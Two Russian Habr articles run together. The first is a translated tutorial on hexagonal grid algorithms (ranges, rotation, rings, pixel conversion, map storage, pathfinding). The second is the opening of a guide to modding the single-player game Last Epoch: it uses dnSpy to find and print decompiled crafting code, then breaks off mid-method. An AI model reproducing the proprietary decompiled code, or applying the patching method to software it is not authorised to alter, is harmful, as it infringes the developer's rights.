* [Алгоритм DDA-линии](https://ru.wikipedia.org/wiki/%D0%90%D0%BB%D0%B3%D0%BE%D1%80%D0%B8%D1%82%D0%BC_DDA-%D0%BB%D0%B8%D0%BD%D0%B8%D0%B8) в сетках квадратов приравнивает `N` к максимуму расстояния по каждой из осей. Мы делаем то же самое в кубическом пространстве, что аналогично расстоянию в сетке шестиугольников.
* Функция `cube_lerp` должна возвращать куб с координатами в float. Если вы программируете на языке со статической типизацией, то не сможете использовать тип `Cube`. Вместо него можно определить тип `FloatCube` или встроить (inline) функцию в код отрисовки линий, если вы не хотите определять ещё один тип.
* Можно оптимизировать код, встроив (inline) `cube_lerp`, а затем рассчитав `B.x-A.x`, `B.x-A.y` и `1.0/N` за пределами цикла. Умножение можно преобразовать в повторяющееся суммирование. В результате получится что-то вроде алгоритма DDA-линии.
* Для отрисовки линий я использую осевые или кубические координаты, но если вы хотите работать с координатами смещения, то изучите [эту статью](http://zvold.blogspot.com/2010/02/line-of-sight-on-hexagonal-grid.html).
* Существует много вариантов отрисовки линий. Иногда требуется [«сверхпокрытие»](http://stackoverflow.com/questions/3233522/elegant-clean-special-case-straight-line-grid-traversal-algorithm). Мне прислали код отрисовки линий с сверхпокрытием в шестиугольниках, но я пока не изучал его.
Диапазон перемещения
--------------------
### Диапазон координат
Для заданного центра шестиугольника и диапазона `N` какие шестиугольники находятся в пределах `N` шагов от него?
Мы можем произвести обратную работу из формулы расстояния между шестиугольниками `distance = max(abs(dx), abs(dy), abs(dz))`. Чтобы найти все шестиугольники в пределах `N`, нам нужны `max(abs(dx), abs(dy), abs(dz)) ≤ N`. Это значит, что нужны все три значения: `abs(dx) ≤ N` и `abs(dy) ≤ N` и `abs(dz) ≤ N`. Убрав абсолютное значение, мы получим `-N ≤ dx ≤ N` и `-N ≤ dy ≤ N` и `-N ≤ dz ≤ N`. В коде это будет вложенный цикл:
```
var results = []
for each -N ≤ dx ≤ N:
for each -N ≤ dy ≤ N:
for each -N ≤ dz ≤ N:
if dx + dy + dz = 0:
results.append(cube_add(center, Cube(dx, dy, dz)))
```
Этот цикл сработает, но будет довольно неэффективным. Из всех значений `dz`, которые мы перебираем в цикле, только одно действительно удовлетворяет условию кубов `dx + dy + dz = 0`. Вместо этого мы напрямую вычислим значение `dz`, удовлетворяющее условию:
```
var results = []
for each -N ≤ dx ≤ N:
for each max(-N, -dx-N) ≤ dy ≤ min(N, -dx+N):
var dz = -dx-dy
results.append(cube_add(center, Cube(dx, dy, dz)))
```
Этот цикл проходит только по нужным координатам. На рисунке каждый диапазон является парой линий. Каждая линия — это неравенство. Мы берём все шестиугольники, удовлетворяющие шести неравенствам.
**GIF**
### Пересекающиеся диапазоны
Если нужно найти шестиугольники, находящиеся в нескольких диапазонах, то перед генерированием списка шестиугольников можно пересечь диапазоны.
Можно подойти к этой проблеме с точки зрения алгебры или геометрии. Алгебраически каждая область выражается как условия неравенств в форме `-N ≤ dx ≤ N`, и нам нужно найти пересечение этих условий. Геометрически каждая область является кубом в трёхмерном пространстве, и мы пересечём два куба в трёхмерном пространстве для получения прямоугольного параллелепипеда в трёхмерном пространстве. Затем мы проецируем его обратно на плоскость `x + y + z = 0`, чтобы получить шестиугольники. Я буду решать эту задачу алгебраически.
Во-первых, мы перепишем условие `-N ≤ dx ≤ N` в более общей форме `xmin ≤ x ≤ xmax`, и примем `xmin = center.x - N` и `xmax = center.x + N`. Сделаем то же самое для `y` и `z`, в результате получив общий вид кода из предыдущего раздела:
```
var results = []
for each xmin ≤ x ≤ xmax:
for each max(ymin, -x-zmax) ≤ y ≤ min(ymax, -x-zmin):
var z = -x-y
results.append(Cube(x, y, z))
```
Пересечением двух диапазонов `a ≤ x ≤ b` и `c ≤ x ≤ d` является `max(a, c) ≤ x ≤ min(b, d)`. Поскольку область шестиугольников выражена как диапазоны над `x`, `y`, `z`, мы можем отдельно пересечь каждый из диапазонов `x`, `y`, `z`, а затем использовать вложенный цикл для генерирования списка шестиугольников в пересечении. Для одной области шестиугольников мы принимаем `xmin = H.x - N` and `xmax = H.x + N`, аналогично для `y` и `z`. Для пересечения двух областей шестиугольников мы принимаем `xmin = max(H1.x - N, H2.x - N)` и `x`max = min(H1.x + N, H2.x + N), аналогично для `y` и `z`. Тот же шаблон работает для пересечения трёх или более областей.
**GIF**
### Препятствия
При наличии препятствий проще всего выполнить заливку с ограничением по расстоянию (поиск в ширину). На рисунке ниже мы ограничиваемся четырьмя ходами. В коде `fringes[k]` — это массив всех шестиугольников, которых можно достичь за `k` шагов. При каждом проходе по основному циклу мы расширяем уровень `k-1` на уровень `k`.
```
function cube_reachable(start, movement):
var visited = set()
add start to visited
var fringes = []
fringes.append([start])
for each 1 < k ≤ movement:
fringes.append([])
for each cube in fringes[k-1]:
for each 0 ≤ dir < 6:
var neighbor = cube_neighbor(cube, dir)
if neighbor not in visited, not blocked:
add neighbor to visited
fringes[k].append(neighbor)
return visited
```
Повороты
--------
Для заданного вектора шестиугольника (разницу между двумя шестиугольниками) нам может понадобиться повернуть его, чтобы он указывал на другой шестиугольник. Это просто сделать, имея кубические координаты, если придерживаться поворота на 1/6 окружности.
Поворот на 60° вправо сдвигает каждую координату на одну позицию вправо:
```
[ x, y, z]
to [-z, -x, -y]
```
Поворот на 60° влево сдвигает каждую координату на одну позицию влево:
```
[ x, y, z]
to [-y, -z, -x]
```
«Поиграв» [в оригинале статьи] со схемой, можно заметить, что каждый поворот на 60° *меняет* знаки и физически «поворачивает» координаты. После поворота на 120° знаки снова становятся теми же. Поворот на 180° меняет знаки, но координаты поворачиваются в своё изначальное положение.
Вот полная последовательность поворота положения P вокруг центрального положения C, приводящего к новому положению R:
1. Преобразование положений P и C в кубические координаты.
2. Вычисление вектора вычитанием центра: `P_from_C = P - C = Cube(P.x - C.x, P.y - C.y, P.z - C.z)`.
3. Поворот вектора `P_from_C` как описано выше и присваивание итоговому вектору обозначения `R_from_C`.
4. Преобразование вектора обратно в положение прибавлением центра: `R = R_from_C + C = Cube(R_from_C.x + C.x, R_from_C.y + C.y, R_from_C.z + C.z)`.
5. Преобразование кубического положения R обратно в нужную систему координат.
Здесь несколько этапов преобразований, но каждый из них довольно прост. Можно сократить некоторые из этих этапов, определив поворот непосредственно в осевых координатах, но векторы шестиугольников не работают с координатами смещения, и я не знаю, как сократить этапы для координат смещения. См. также [обсуждение](http://gamedev.stackexchange.com/questions/15237/how-do-i-rotate-a-structure-of-hexagonal-tiles-on-a-hexagonal-grid/) других способов вычисления поворота на stackexchange.
Кольца
------
### Простое кольцо
Чтобы выяснить, принадлежит ли заданный шестиугольник к кольцу заданного радиуса `radius`, нужно вычислить расстояние от этого шестиугольника до центра, и узнать, равно ли оно `radius`. Для получения списка всех таких шестиугольников нужно сделать `radius` шагов от центра, а затем следовать за поворачиваемыми векторами по пути вдоль кольца.
```
function cube_ring(center, radius):
var results = []
# этот код не работает для radius == 0; вы понимаете, почему?
var cube = cube_add(center,
cube_scale(cube_direction(4), radius))
for each 0 ≤ i < 6:
for each 0 ≤ j < radius:
results.append(cube)
cube = cube_neighbor(cube, i)
return results
```
В этом коде `cube` начинается на кольце, показанном большой стрелкой от центра к углу схемы. Я выбрал для начала угол 4, потому что он соответствует пути, в котором двигаются мои числа направлений. Вам может понадобиться другой начальный угол. На каждом этапе внутреннего цикла `cube` двигается на один шестиугольник по кольцу. Через `6 * radius` шагов он завершает там, где начал.
### Спиральные кольца
Проходя по кольцам по спиральному паттерну, мы можем заполнить внутренние части колец:
```
function cube_spiral(center, radius):
var results = [center]
for each 1 ≤ k ≤ radius:
results = results + cube_ring(center, k)
return results
```
Площадь большого шестиугольника равна сумме всех окружностей плюс 1 для центра. Для вычисления площади используйте [эту формулу](https://ru.wikipedia.org/wiki/%D0%9D%D0%B0%D1%82%D1%83%D1%80%D0%B0%D0%BB%D1%8C%D0%BD%D1%8B%D0%B9_%D1%80%D1%8F%D0%B4).
Обход шестиугольников таким способом можно также использовать для вычисления диапазона перемещения (см. выше).
Область видимости
-----------------
Что видимо из заданного положения с заданным расстоянием, и не перекрывается препятствиями? Простейший способ определить это — нарисовать линию к каждому шестиугольнику в заданном диапазоне. Если линия не встречается со стенами, то вы видите шестиугольник. Перемещайте мышь по шестиугольникам [на схеме в оригинале статьи], чтобы увидеть отрисовку линий к этим шестиугольникам и стены, с которыми линии встречаются.
Этот алгоритм может быть медленным на больших площадях, но его легко реализовать, поэтому рекомендую начать с него.
**GIF**
Существует много разных определений видимости. Хотите ли вы видеть центр другого шестиугольника из центра начального? Хотите ли вы видеть любую часть другого шестиугольника из центра начального? Может быть, любую часть другого шестиугольника из любой точки начального? Мешающие взгляду препятствия меньше полного шестиугольника? Область видимости — это более хитрое и разнообразное понятие, чем кажется на первый взгляд. Начнём с простейшего алгоритма, но ждите, что он обязательно правильно вычислит ответ в вашем проекте. Бывают даже случаи, когда простой алгоритм даёт нелогичные результаты.
В [руководстве Кларка Вербрюгге](http://www-cs-students.stanford.edu/~amitp/Articles/HexLOS.html) описывается алгоритм для вычисления области видимости «начинаем с центра и двигаемся наружу». См. также проект [Duelo](https://github.com/jbochi/duelo), у которого есть на Github [онлайн-демо области видимости с направлениями](https://s3.amazonaws.com/jbochi/layout.html). Также можете прочитать [мою статью об расчёте 2d-видимости](http://www.redblobgames.com/articles/visibility/), в ней есть алгоритм, работающий с многоугольниками, в том числе и с шестиугольниками. У сообщества любителей roguelike есть хороший набор алгоритмов для сеток квадратов (см. [здесь](http://www.adammil.net/blog/v125_Roguelike_Vision_Algorithms.html), [здесь](http://www.roguebasin.com/index.php?title=Pre-Computed_Visibility_Tries) и здесь). Некоторые из них можно адаптировать под сетки шестиугольников.
Шестиугольники в пиксели
------------------------
Для перевода из шестиугольников в пиксели полезно изучить схему размеров и расположения, представленную в разделе «Геометрия». В случае осевых координат к преобразованию из шестиугольников в пиксели надо подходить, рассматривая базисные векторы. На схеме стрелка A→Q — это базисный вектор q, а A→R — базисный вектор r. Координата пикселя равна `q_basis * q + r_basis * r`. Например, B в (1, 1) является суммой базисных векторов q и r.
При наличии библиотеки матриц операция является простым умножением матриц. Однако здесь я запишу код без матриц. Для осевой сетки `x = q`, `z = r`, которую я использую в этом руководстве, преобразование будет иметь следующий вид:
**Для шестиугольников с плоскими верхами**
```
function hex_to_pixel(hex):
x = size * 3/2 * hex.q
y = size * sqrt(3) * (hex.r + hex.q/2)
return Point(x, y)
```
**Для шестиугольников с острыми верхами**
```
function hex_to_pixel(hex):
x = size * sqrt(3) * (hex.q + hex.r/2)
y = size * 3/2 * hex.r
return Point(x, y)
```
Матричный подход будет удобен позже, когда нам нужно будет преобразовать координаты пикселей обратно в координаты шестиугольников. Всё, что нам понадобится — обратить матрицу. Для кубических координат можно либо использовать кубические базисные векторы (x, y, z), или сначала преобразовать их в осевые, а затем использовать осевые базисные векторы (q, r).
Для координат смещения нам нужно будет сместить номер столбца или строки (он больше не будет целым). После этого можно использовать базисные векторы q и r, связанные с осями x и y:
**Нечет-r**
```
function offset_to_pixel(hex):
x = size * sqrt(3) * (hex.col + 0.5 * (hex.row&1))
y = size * 3/2 * hex.row
return Point(x, y)
```
**Чёт-r**
```
function offset_to_pixel(hex):
x = size * sqrt(3) * (hex.col - 0.5 * (hex.row&1))
y = size * 3/2 * hex.row
return Point(x, y)
```
**Нечет-q**
```
function offset_to_pixel(hex):
x = size * 3/2 * hex.col
y = size * sqrt(3) * (hex.row + 0.5 * (hex.col&1))
return Point(x, y)
```
**Чёт-q**
```
function offset_to_pixel(hex):
x = size * 3/2 * hex.col
y = size * sqrt(3) * (hex.row - 0.5 * (hex.col&1))
return Point(x, y)
```
К сожалению, координаты смещения не имеют базисных векторов, которые можно использовать вместе с матрицей. Это одна из причин того, почему преобразования из пикселей в шестиугольники сложнее в координатах смещения.
Другой подход: преобразовывать координаты смещения в кубические/осевые координаты, затем использовать преобразование кубических/осевых координат в пиксели. Благодаря встраиванию кода преобразования при оптимизации он в результате будет таким же, как выше.
Из пикселей в шестиугольники
----------------------------
Один из самых частых вопросов заключается в том, как взять положение пикселя (например, щелчка мыши) и преобразовать его в координату сетки шестиугольников? Я покажу, как это делается для осевых или кубических координат. Для координат смещения проще всего будет преобразовать в конце кубические координаты в координаты смещения.
**GIF**
1. Сначала мы *инвертируем* преобразование из шестиугольника в пиксели. Это даст нам дробные координаты шестиугольника, показанные на рисунке маленьким синим кругом.
2. Затем мы определим шестиугольник, содержащий дробную координату шестиугольника. Он показан на рисунке подсвеченным шестиугольником.
Для преобразования координат шестиугольников в координаты пикселей мы умножили `q`, `r` на базисные векторы для получения `x`, `y`. Можно считать это умножением матриц. Вот матрица для шестиугольников с острыми верхами:
Преобразование координат пикселей обратно в координаты шестиугольников достаточно прямолинейно. Мы можем обратить матрицу:
Эти вычисления дадут нам дробные осевые координаты (float) для `q` и `r`. Функция `hex_round()` преобразует дробные осевые координаты в целые осевые координаты шестиугольников.
Вот код для осевых шестиугольников с острыми верхами:
```
function pixel_to_hex(x, y):
q = (x * sqrt(3)/3 - y / 3) / size
r = y * 2/3 / size
return hex_round(Hex(q, r))
```
А вот код для осевых шестиугольников с плоскими верхами:
```
function pixel_to_hex(x, y):
q = x * 2/3 / size
r = (-x / 3 + sqrt(3)/3 * y) / size
return hex_round(Hex(q, r))
```
Эти три строчки кода преобразуют положение пикселя в осевую координату шестиугольника. Если вы используете координаты смещения, то воспользуйтесь `return cube_to_hex(cube_round(Cube(q, -q-r, r)))`.
Существует множество других способов преобразования пикселей в шестиугольники. На [этой странице](http://www.redblobgames.com/grids/hexagons/more-pixel-to-hex.html) перечислены известные мне.
Округление до ближайшего шестиугольника
---------------------------------------
Иногда у нас получается кубическая координата (x, y, z) *с плавающей запятой*, и нам нужно узнать, в каком шестиугольнике она должна находиться. Это выясняется отрисовкой линии и преобразованием из пикселей в шестиугольники. Преобразование значения с плавающей запятой в целое значение называется *округлением* (rounding), поэтому я назвал этот алгоритм `cube_round`.
В кубических координатах `x + y + z = 0` даже при кубических координатах с плавающей точкой. Поэтому давайте округлим каждую компоненту до ближайшего целого `(rx, ry, rz)`. Однако, хотя `x + y + z = 0`, после округления у нас нет гарантий того, что `rx + ry + rz = 0`. Поэтому мы изменяем компоненту с самым большим изменением так, чтобы условие `rx + ry + rz = 0` было верным. Например, если изменение `y` `abs(ry-y)` больше `abs(rx-x)` и `abs(rz-z)`, то мы изменяем его на `ry = -rx-rz`. Это гарантирует нам, что `rx + ry + rz = 0`. Вот алгоритм:
```
function cube_round(h):
var rx = round(h.x)
var ry = round(h.y)
var rz = round(h.z)
var x_diff = abs(rx - h.x)
var y_diff = abs(ry - h.y)
var z_diff = abs(rz - h.z)
if x_diff > y_diff and x_diff > z_diff:
rx = -ry-rz
else if y_diff > z_diff:
ry = -rx-rz
else:
rz = -rx-ry
return Cube(rx, ry, rz)
```
Для некубических координат проще всего будет преобразовать их в кубические координаты, воспользоваться алгоритмом округления, а затем преобразовать обратно:
```
function hex_round(h):
return cube_to_hex(cube_round(hex_to_cube(h)))
```
Примечание о реализации: `cube_round` и `hex_round` получают координаты в float, а не в int. Если вы написали классы `Cube` и `Hex`, они будут отлично работать в языках с динамической типизацией, в которых можно передавать числа с плавающей запятой вместо целых, и в языках со статической типизацией с унифицированным типом чисел. Однако в большинстве языков со статической типизацией нужен будет отдельный тип class/struct для координат float и `cube_round` будет иметь тип `FloatCube → Cube`. Если вам также нужна `hex_round`, она будет `FloatHex → Hex`, использующей вспомогательную функцию `floatcube_to_floathex` вместо `cube_to_hex`. В языках с параметризированными типами (C++, Haskell и т.д.) можно определить Cube, где T является int или float. Или же можно написать `cube_round` для получения трёх чисел с плавающей точкой в качестве входных данных вместо определения нового типа только для этой функции.
Хранение карт в осевых координатах
----------------------------------
Чаще всего осевая система координат вызывает жалобы потому, что приводит к ненужному расходованию пространства при использовании прямоугольных карт. Это одна из причин в пользу системы координат смещения. Однако все системы координат шестиугольников приводят к расходу пространства при использовании треугольных или шестиугольных карт. Мы можем использовать одну стратегию для хранения всех этих типов карт.
*Прямоугольная карта*
*Треугольная карта*
*Шестиугольная карта*
*Ромбовидная карта*
Заметьте на схеме, что неиспользуемое пространство находится справа и слева от каждой строки (за исключением ромбовидных карт). Это даёт нам три варианта стратегий хранения карты:
1. **Игнорировать** проблему. Использовать сплошной массив с нулями или другими индикаторами неиспользуемого пространства. Для этих стандартных форм карт неиспользуемое пространство может занимать максимум половину массива. Возможно, использование более сложных решений нерационально.
2. Использовать вместо сплошного массива **хеш-таблицу**. Это позволяет использовать карты произвольной формы, в том числе и с отверстиями. Когда нужно получить доступ к шестиугольнику в `q,r` мы вместо этого получаем доступ к `hash_table(hash(q,r))`. Инкапсулируем её в геттер/сеттер в классе сетки, чтобы остальная часть игры не должна была знать о ней.
3. **Сместить** строки влево и использовать строки с переменным размером. Во многих языках двухмерный массив является массивом массивов. Массивы необязательно должны быть одной длины. Это позволяет избавиться от неиспользуемого пространства справа. Кроме того, если начинать массивы с самого левого столбца вместо 0, то удалится неиспользуемое пространство слева.
Чтобы применить эту стратегию в произвольных выпуклых картах, необходимо хранить дополнительный массив «первых столбцов». Когда нужно получить доступ к шестиугольнику в `q,r`, мы вместо этого получаем доступ к `array[r][q - first_column[r]]`. Инкапсулируем его в геттер/сеттер в классе сетки, чтобы остальная часть игры не должна была знать о нём. На съеме `first_column` показан в левой части каждой строки.
Если карты имеют фиксированные формы, то «первые столбцы» можно вычислять «на лету», а не хранить их в массиве.
* Для прямоугольных карт `first_column[r] == -floor(r/2)`. В результате мы получаем доступ к `array[r][q + r/2]`, что оказывается аналогом преобразования координат в координаты смещения сетки.
* Для треугольных карт, как здесь показано, `first_column[r] == 0`, поэтому мы получаем доступ к `access array[r][q]` — очень удобно! Для треугольных карт, ориентированных по-другому (не показаны на схеме), это будет `array[r][q+r]`.
* Для шестиугольных карт радиуса `N`, где `N = max(abs(x), abs(y), abs(z)`, у нас получается `first_column[r] == -N - min(0, r)`. Мы получаем доступ к `array[r][q + N + min(0, r)]`. Однако так как мы начинаем с каких-то значений `r < 0`, нам также нужно сместить строку и использовать `array[r + N][q + N + min(0, r)]`.
* Для ромбовидных карт всё идеально совпадает, поэтому можно использовать массив `array[r][q]`.
Зацикленные карты
-----------------
В некоторых играх требуется, чтобы карта «склеивалась» по краям. Квадратную карту можно обернуть только по оси x (что примерно соответствует сфере) или по обеим осям x и y (что примерно соответствует тору). Сворачивание зависит от формы карты, а не от формы её элементов. Сворачивание квадратной карты проще выполняется в координатах смещения. Я покажу, как выполняется сворачивание шестиугольной карты в кубических координатах.
Относительно центра карты существует шесть «зеркальных» центров. При выходе с карты мы вычитаем ближайший к нам зеркальный центр, пока снова не вернёмся на основную карту. На схеме [в оригинале статьи] попробуйте покинуть центральную карту, и понаблюдайте, как один из зеркальных центров входит в карту с противоположной стороны.
Простейшей реализацией будет предварительное вычисление ответов. Создаём таблицу подстановок, хранящую для каждого шестиугольника, выходящего с карты, соответствующий куб с другой стороны. Для каждого из шести зеркальных центров `M` и для каждого из положений на карте `L` храним `mirror_table[cube_add(M, L)] = L`. Каждый раз при вычислении шестиугольника, находящегося в таблице зеркал заменяем его неотзеркаленной версией.
На шестиугольной карте с радиусом `N` зеркальные центры будут `Cube(2*N+1, -N, -N-1)` и шестью его поворотами.
**GIF**
Поиск пути
----------
При использовании поиска пути на графах, например алгоритма поиска A\*, алгоритма Дейкстры или Флойда-Уоршелла поиск пути на сетках шестиугольников не отличается от поиска пути на сетках квадратов. Пояснения и код из моего [руководства по поиску пути](http://www.redblobgames.com/pathfinding/a-star/introduction.html) применимы и для сеток шестиугольников.
[В оригинале статьи пример интерактивен, нажатиями мыши можно добавлять и удалять стены]
1. **Соседи**. Пример кода, представленный в руководстве по поиску пути, вызывает для получения соседних с положением элементов `graph.neighbors`. Используйте для этого функцию в разделе «Соседние шестиугольники». Отфильтровывайте непроходимые соседние шестиугольники.
2. **Heuristic**. В примере кода алгоритма A\* используется функция `heuristic`, получающая расстояние между двумя положениями. Используйте формулу расстояний, умноженную на затраты на передвижение. Например, если перемещение стоит 5 единиц на шестиугольник, то умножайте расстояние на 5.
Дополнительное чтение
---------------------
У меня есть [**руководство по реализации собственной библиотеки сеток шестиугольников**](http://www.redblobgames.com/grids/hexagons/implementation.html) с примерами кода на C++, Java, C#, Javascript, Haxe и Python.
* В моём [руководстве по сеткам](http://www-cs-students.stanford.edu/~amitp/game-programming/grids/) я рассматриваю осевые системы координат и обработку граней и углов квадратов, треугольников и шестиугольников. Также я объясняю, как связаны сетки квадратов и шестиугольников.
* Лучшим ранним руководством, которое я видел, стало [руководство Кларка Вербрюгге](http://www-cs-students.stanford.edu/~amitp/Articles/HexLOS.html), написанное в 1996 году.
* Впервые я увидел кубическую систему координат в посте 1994 года [Чарльза Фу в rec.games.programmer](http://www-cs-students.stanford.edu/~amitp/Articles/Hexagon2.html).
* [В DevMag есть хороший визуальный обзор математики шестиугольников](http://devmag.org.za/2013/08/31/geometry-with-hex-coordinates/), включая способы представления площадей, таких как полуплоскости, треугольники и четырёхугольники. Существует [версия в PDF](http://www.gamelogic.co.za/downloads/HexMath2.pdf), которая немного подробнее. **Крайне рекомендуется к изучению!** Библиотека [GameLogic Grids](http://gamelogic.co.za/grids/documentation-contents/quick-start-tutorial/gamelogics-hex-grids-for-unity-and-amit-patels-guide-for-hex-grids/) реализует эти и многие другие типы сеток в Unity.
* [У Джеймса Макнейла есть хорошее визуальное объяснение преобразований сеток](http://playtechs.blogspot.com/2007/04/hex-grids.html).
* [Обзор типов координат шестиугольников](http://web.archive.org/web/20090205120106/http://sc.tri-bit.com/Hex_Grids): ступенчатых (со смещением), чередуемых, трёхмерных (кубических) и трапецеидальных (осевых).
* [Библиотека Rot.js](http://ondras.github.io/rot.js/manual/#hex/indexing) содержит список систем координат шестиугольников: неортогональной (осевой), с нечётным сдвигом (со смещением), двойной ширины (чередуемой), кубической.
* [Диапазон в кубических координатах](http://stackoverflow.com/questions/2049196/generating-triangular-hexagonal-coordinates-xyz): какие шестиугольники находятся на заданном расстоянии от заданного?
* [Определение расстояний в сетках шестиугольников](http://keekerdc.com/2011/03/hexagon-grids-coordinate-systems-and-distance-calculations/) с помощью кубических координат и объяснение причин использования кубических координат вместо координат смещения.
* В [этом руководстве](http://www.br-gs.com/tutorial/hexagon-grid.html) объясняются основы измерения и отрисовки шестиугольников с помощью сетки смещения.
* [Преобразование кубических координат шестиугольников в координаты пикселей](http://stackoverflow.com/questions/2459402/hexagonal-grid-coordinates-to-pixel-coordinates).
* В [этом посте](http://gamedev.stackexchange.com/questions/51264/get-ring-of-tiles-in-hexagon-grid) объясняется, как генерировать кольца.
* В системе [HexPart](http://www.webwargaming.org/hexagoncoordinates.shtml) используются как шестиугольники, так и прямоугольники для упрощения работы с некоторыми алгоритмами.
* Есть ли [плюсы и минусы у шестиугольников с плоским и острым верхом](http://gamedev.stackexchange.com/questions/49718/vertical-vs-horizontal-hex-grids-pros-and-cons)?
* [Линия видимости в сетке шестиугольников](http://arges-systems.com/blog/2011/01/10/hex-grid-line-of-sight-revisited/) с координатами смещения, разделение шестиугольников на треугольники. [Нерабочая ссылка]
* Hexnet объясняет, что [соотношение между шестиугольниками и кубами](http://hexnet.org/content/permutohedron) намного глубже, чем я описал в этой статье, и обобщает связь до большего количества измерений.
* Я использовал PDF с сетками шестиугольников с [этой страницы](http://incompetech.com/graphpaper/hexagonal/), когда работал над некоторыми алгоритмами.
* [Обобщённая сбалансированная троичная система счисления](http://www.reddit.com/r/gamedev/comments/19wmvn/a_data_structure_for_a_game_board_with_hexagonal/c8s9qbe) для координат шестиугольников выглядит интересно; я пока не изучал её.
* [Hex-Grid Utilities](http://hexgridutilities.codeplex.com/documentation) — это библиотека C# с открытым исходным кодом для математики сеток шестиугольников с определением соседних шестиугольников, сетками, поиском диапазонов и путей, областью видимости. Лицензия MIT.
* В обсуждениях на [Reddit](http://www.reddit.com/r/gamedev/comments/1dz1tr/), [Hacker News](https://news.ycombinator.com/item?id=5809724) и [MetaFilter](http://www.metafilter.com/128649/Hexagonal-Grids) есть больше комментариев и ссылок.
Код [оригинала] этой статьи написан на смеси [Haxe](http://haxe.org/) и Javascript: [Cube.hx](http://www.redblobgames.com/grids/hexagons/Cube.hx), [Hex.hx](http://www.redblobgames.com/grids/hexagons/Hex.hx), [Grid.hx](http://www.redblobgames.com/grids/hexagons/Grid.hx), [ScreenCoordinate.hx](http://www.redblobgames.com/grids/hexagons/ScreenCoordinate.hx), [ui.js](http://www.redblobgames.com/grids/hexagons/ui.js) и [cubegrid.js](http://www.redblobgames.com/grids/hexagons/cubegrid.js) (для анимации кубов/шестиугольников). Однако если вы хотите написать свою библиотеку сеток шестиугольников, то рекомендую вместо этого кода изучить [моё руководство по реализации](http://www.redblobgames.com/grids/hexagons/implementation.html).
Я хочу в дальнейшем расширять это руководство. У меня есть [список на Trello](https://trello.com/card/hexagonal-grids-2-0/4f1dbfdc0fc2508c1b238d7d/52). | https://habr.com/ru/post/319644/ | null | ru | null |
# Модифицируем Last Epoch — От dnSpy до Ghidra
Last Epoch — это однопользовательская ARPG на Unity и C#. В игре присутствует система крафта — игрок находит модификаторы, которые затем применяет к экипировке. С каждым модификатором накапливается "нестабильность", которая увеличивает шанс поломки предмета
Я преследовал две цели:
* Убрать "поломку" предмета в результате применения модификаторов
* Не расходовать модификаторы при крафте
Вот так выглядит окно крафта в игре:
Часть первая, где мы редактируем .NET код без регистрации и смс
---------------------------------------------------------------
Для начала я опишу процесс модификации старой версии игры (0.7.8)
После компиляции C# превращается в IL (Intermediate Language) код. IL-код напоминает ассемблер высокого уровня абстракции и замечательно декомпилируется. В Unity проектах IL-код игры как правило находится в `/Managed/Assembly-CSharp.dll`
Для редактирования IL-кода мы будем использовать [dnSpy](https://github.com/0xd4d/dnSpy) — лучший из всех инструментов подобного рода для .NET, что я встречал. dnSpy делает работу со скомпилированными .NET приложениями настолько легкой, что ее можно спутать с разработкой в обычной IDE.
### Ищем логику крафта
Итак, запускаем dnSpy и открываем `Assembly-CSharp.dll`
Мы сразу видим невероятно длинный список классов. В данном случае целью является модификация системы крафта, поэтому поступаю просто — ищу классы, в названии которых встречается **Craft** и просматриваю их логику по диагонали.
После непродолжительных поисков мы нашли искомое — класс **CraftingSlotManager**:
А именно метод **Forge()** в данном классе:
**Полная версия кода метода для желающих**
```
// CraftingSlotManager
// Token: 0x06002552 RID: 9554 RVA: 0x0015E958 File Offset: 0x0015CB58
public void Forge()
{
if (!this.forging)
{
this.forging = true;
base.StartCoroutine(this.ForgeBlocker(10));
bool flag = false;
int num = -1;
if (this.main.HasContent())
{
int num2 = 0;
int num3 = 0;
if (this.debugNoFracture)
{
num3 = -10;
}
float num4 = 1f;
int num5 = -1;
bool flag2 = false;
ItemData data = this.main.GetContent()[0].data;
ItemData itemData = null;
if (this.support.HasContent())
{
itemData = this.support.GetContent()[0].data;
num5 = (int)itemData.subType;
if (itemData.subType == 0)
{
num3--;
flag2 = true;
}
else if (itemData.subType == 1)
{
num4 = UnityEngine.Random.Range(0.4f, 1f);
flag2 = true;
}
}
if (this.appliedAffixID >= 0)
{
Debug.Log("applied ID: " + this.appliedAffixID.ToString());
if (this.forgeButtonText.text == "Forge")
{
if (data.AddAffixTier(this.appliedAffixID, Mathf.RoundToInt((float)(5 + num2) * num4), num3))
{
num = this.appliedAffixID;
flag = true;
}
GlobalDataTracker.instance.CheckForShard(this.appliedAffixID);
if (flag2)
{
this.support.Clear();
}
if (!GlobalDataTracker.instance.CheckForShard(this.appliedAffixID))
{
this.DeselectAffixID();
}
}
}
else if (this.modifier.HasContent())
{
Debug.Log("modifier lets go");
ItemData data2 = this.modifier.GetContent()[0].data;
if (data2.itemType == 102)
{
if (data2.subType == 0)
{
Debug.Log("shatter it");
Notifications.CraftingOutcome(data.Shatter());
if (num5 == 0)
{
flag2 = false;
}
this.main.Clear();
flag = true;
this.ResetAffixList();
}
else if (data2.subType == 1)
{
Debug.Log("refine it");
if (data.AddInstability(Mathf.RoundToInt((float)(2 + num2) * num4), num3, 0))
{
data.ReRollAffixRolls();
}
flag = true;
}
else if (data2.subType == 2 && data.affixes.Count > 0)
{
Debug.Log("remove it");
if (data.AddInstability(Mathf.RoundToInt((float)(2 + num2) * num4), num3, 0))
{
ItemAffix affixToRemove = data.affixes[UnityEngine.Random.Range(0, data.affixes.Count)];
data.RemoveAffix(affixToRemove);
}
flag = true;
}
else if (data2.subType == 3 && data.affixes.Count > 0)
{
Debug.Log("cleanse it");
List list = new List();
foreach (ItemAffix item in data.affixes)
{
list.Add(item);
}
foreach (ItemAffix affixToRemove2 in list)
{
data.RemoveAffix(affixToRemove2);
}
if (num5 == 0)
{
flag2 = false;
}
data.SetInstability((int)((Mathf.Clamp(UnityEngine.Random.Range(5f, 15f), 0f, (float)data.instability) + (float)num2) \* num4));
flag = true;
}
else if (data2.subType == 4 && data.sockets == 0)
{
Debug.Log("socket it");
data.AddSocket(1);
data.SetInstability((int)((Mathf.Clamp(UnityEngine.Random.Range(5f, 15f), 0f, (float)data.instability) + (float)num2) \* num4));
flag = true;
}
}
}
if (flag)
{
UISounds.playSound(UISounds.UISoundLabel.CraftingSuccess);
if (this.modifier.HasContent())
{
ItemData data3 = this.modifier.GetContent()[0].data;
this.modifier.Clear();
if (num >= 0 && GlobalDataTracker.instance.CheckForShard(num))
{
this.PopShardToModifierSlot(num);
}
else if (data3.itemType == 102)
{
foreach (SingleSubTypeContainer singleSubTypeContainer in ItemContainersManager.instance.materials.Containers)
{
if (singleSubTypeContainer.CanAddItemType((int)data3.itemType) && singleSubTypeContainer.allowedSubID == (int)data3.subType && singleSubTypeContainer.HasContent())
{
